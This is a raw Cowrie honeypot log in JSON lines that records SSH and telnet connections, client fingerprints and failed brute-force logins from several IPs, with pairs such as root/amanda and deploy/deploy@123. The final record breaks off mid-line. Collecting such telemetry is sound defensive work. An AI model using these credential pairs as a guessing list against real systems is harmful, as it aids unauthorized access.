{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53452,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7f90e57e063","protocol":"telnet","message":"New connection: 152.42.224.71:53452 (10.17.0.5:23) [session: e7f90e57e063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:46.036717Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:46.141857Z","src_ip":"45.156.87.204","session":"2a1102a18a6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43880,"dst_ip":"10.17.0.5","dst_port":23,"session":"544e6cb2f681","protocol":"telnet","message":"New connection: 152.42.224.71:43880 (10.17.0.5:23) [session: 544e6cb2f681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:47.721250Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35008,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d25afb46f08","protocol":"ssh","message":"New connection: 45.156.87.204:35008 (159.203.135.109:22) [session: 5d25afb46f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:48.272470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:48.279592Z","src_ip":"45.156.87.204","session":"5d25afb46f08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:48.356538Z","src_ip":"45.156.87.204","session":"5d25afb46f08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy@123","message":"login attempt [deploy/deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:48.675205Z","src_ip":"45.156.87.204","session":"5d25afb46f08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:49.914136Z","src_ip":"45.156.87.204","session":"5d25afb46f08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53466,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea60224dd042","protocol":"telnet","message":"New connection: 152.42.224.71:53466 (10.17.0.5:23) [session: ea60224dd042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:50.027531Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53478,"dst_ip":"10.17.0.5","dst_port":23,"session":"70b6cb5cbd8e","protocol":"telnet","message":"New connection: 152.42.224.71:53478 (10.17.0.5:23) [session: 70b6cb5cbd8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:51.082910Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53488,"dst_ip":"10.17.0.5","dst_port":23,"session":"01e47c1babb8","protocol":"telnet","message":"New connection: 152.42.224.71:53488 (10.17.0.5:23) [session: 01e47c1babb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:51.368891Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":60992,"dst_ip":"159.203.135.109","dst_port":22,"session":"02ebf7645cbb","protocol":"ssh","message":"New connection: 103.172.78.219:60992 (159.203.135.109:22) [session: 02ebf7645cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:51.650872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:51.654573Z","src_ip":"103.172.78.219","session":"02ebf7645cbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":35012,"dst_ip":"159.203.135.109","dst_port":22,"session":"169b40b289a5","protocol":"ssh","message":"New connection: 45.156.87.204:35012 (159.203.135.109:22) [session: 169b40b289a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:51.865952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:51.869284Z","src_ip":"45.156.87.204","session":"169b40b289a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53476,"dst_ip":"10.17.0.5","dst_port":23,"session":"618dbedf9f22","protocol":"telnet","message":"New connection: 152.42.224.71:53476 (10.17.0.5:23) [session: 618dbedf9f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:51.881072Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:51.951980Z","src_ip":"45.156.87.204","session":"169b40b289a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:52.023130Z","src_ip":"103.172.78.219","session":"02ebf7645cbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:52.203640Z","src_ip":"45.156.87.204","session":"169b40b289a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456qwer","message":"login attempt [root/123456qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:52.760616Z","src_ip":"103.172.78.219","session":"02ebf7645cbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":45148,"dst_ip":"159.203.135.109","dst_port":22,"session":"eff94a7bbdfe","protocol":"ssh","message":"New connection: 103.27.238.120:45148 (159.203.135.109:22) [session: eff94a7bbdfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:53.023065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:53.028011Z","src_ip":"103.27.238.120","session":"eff94a7bbdfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:53.289565Z","src_ip":"45.156.87.204","session":"169b40b289a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:53.294273Z","src_ip":"103.27.238.120","session":"eff94a7bbdfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.46277475357056,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:53.932340Z","src_ip":"152.42.224.71","session":"ece06424f403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:54.012835Z","src_ip":"103.172.78.219","session":"02ebf7645cbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amanda","message":"login attempt [root/amanda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:54.087907Z","src_ip":"103.27.238.120","session":"eff94a7bbdfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:55.355363Z","src_ip":"103.27.238.120","session":"eff94a7bbdfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51370,"dst_ip":"159.203.135.109","dst_port":22,"session":"d34bf4ee632c","protocol":"ssh","message":"New connection: 45.156.87.204:51370 (159.203.135.109:22) [session: d34bf4ee632c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:55.829823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:55.834460Z","src_ip":"45.156.87.204","session":"d34bf4ee632c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.12103486061096,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:55.890089Z","src_ip":"152.42.224.71","session":"5f828726eae6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:55.919959Z","src_ip":"45.156.87.204","session":"d34bf4ee632c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:56.167575Z","src_ip":"45.156.87.204","session":"d34bf4ee632c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:57.253429Z","src_ip":"45.156.87.204","session":"d34bf4ee632c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.6862895488739,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:57.530020Z","src_ip":"152.42.224.71","session":"70875247afc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":26700,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fa674d78aaa","protocol":"telnet","message":"New connection: 34.156.127.48:26700 (159.203.135.109:23) [session: 8fa674d78aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:59.271688Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":26712,"dst_ip":"159.203.135.109","dst_port":23,"session":"653446ebd09c","protocol":"telnet","message":"New connection: 34.156.127.48:26712 (159.203.135.109:23) [session: 653446ebd09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:59.426535Z"}
{"eventid":"cowrie.session.closed","duration":0.004805326461791992,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:59.431243Z","src_ip":"34.156.127.48","session":"653446ebd09c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":51374,"dst_ip":"159.203.135.109","dst_port":22,"session":"89f4043ee2d4","protocol":"ssh","message":"New connection: 45.156.87.204:51374 (159.203.135.109:22) [session: 89f4043ee2d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:59.434684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:59.446922Z","src_ip":"45.156.87.204","session":"89f4043ee2d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:59.532585Z","src_ip":"45.156.87.204","session":"89f4043ee2d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":26716,"dst_ip":"159.203.135.109","dst_port":23,"session":"306712e06ca4","protocol":"telnet","message":"New connection: 34.156.127.48:26716 (159.203.135.109:23) [session: 306712e06ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:59.582009Z"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:58:59.779435Z","src_ip":"45.156.87.204","session":"89f4043ee2d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.93440866470337,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:00.666399Z","src_ip":"152.42.224.71","session":"9e910020c2a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:00.864462Z","src_ip":"45.156.87.204","session":"89f4043ee2d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.47948384284973,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:01.929978Z","src_ip":"152.42.224.71","session":"67856a4be23c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46500,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2179d63dbbf","protocol":"telnet","message":"New connection: 152.42.224.71:46500 (10.17.0.5:23) [session: e2179d63dbbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:02.433516Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52414,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7ef7c8fb1f6","protocol":"ssh","message":"New connection: 45.156.87.204:52414 (159.203.135.109:22) [session: f7ef7c8fb1f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:03.115545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:03.122738Z","src_ip":"45.156.87.204","session":"f7ef7c8fb1f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-